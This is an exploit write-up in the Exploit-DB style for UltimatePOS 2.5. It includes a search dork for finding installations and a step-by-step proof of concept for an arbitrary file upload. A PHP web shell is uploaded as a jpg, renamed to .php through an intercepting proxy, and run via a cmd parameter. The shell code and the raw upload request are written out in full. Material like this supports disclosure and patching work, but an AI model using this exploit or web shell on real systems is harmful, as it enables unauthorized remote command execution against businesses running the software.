# Exploit Title: UltimatePOS 2.5 - Remote Code Execution# Google Dork: intext:"UltimatePOS" # Date: 2018-08-22# Exploit Author: Renos Nikolaou# Vendor Homepage: http://ultimatefosters.com/# Software Link: https://codecanyon.net/item/saas-superadmin-module-for-ultimatepos-advance/22394431# Version: 2.5# Tested on: Windows 10# CVE: N/A# Description : UltimatePOS 2.5 allows users to upload arbitrary files which # leads to a remote command execution on the remote server.# PoC# 1) Create a file with the below PHP code and save it as jpg<?php $cmd=$_GET['cmd']; system($cmd); ?># 2) Login to UltimatePOS portal as low priviliage user# 3) At the left hand side go to Products --> List Products ( http://domain/products )# 4) Click at the Actions button of a current product --> Edit# (NOTE: Attack works if you add new product as well)# 5) Under Product image: click Browse and upload your jpg file containing the PHP code mentioned at step 1. # (Make sure to use proxy like Burp, Fiddler etc..etc)# 6) Scroll Down, click Update and Intercept the request using proxy# 7) Forward the requests until you reach the from request containing the product details # (See the request below) including the filename of the file that you have uploaded.# 8) Edit the filename from filename.jpg to filename.php and then release the Interception.# 9) Go to the List Products again (Step 3) and fine the product that you have edited.# 10) Right click at the Product image and select Copy image Location# 11) Paste the URL into your browser. Will be similar to: http://domain/storage/img/1533988576_cmd.php# 12) Verify the exploit: http://domain/storage/img/1533988576_cmd.php?cmd=id# The request:===================
POST /products/64 HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain.com/products/64/edit
Cookie:
Connection: close
Upgrade-Insecure-Requests:1
Content-Type: multipart/form-data; boundary=---------------------------3062816822434
Content-Length:2868...50-----------------------------3062816822434
Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: image/jpeg
<?php $cmd=$_GET['cmd']; system($cmd); ?>-----------------------------3062816822434
Content-Disposition: form-data; name="weight"
pos_confirmed.PNG
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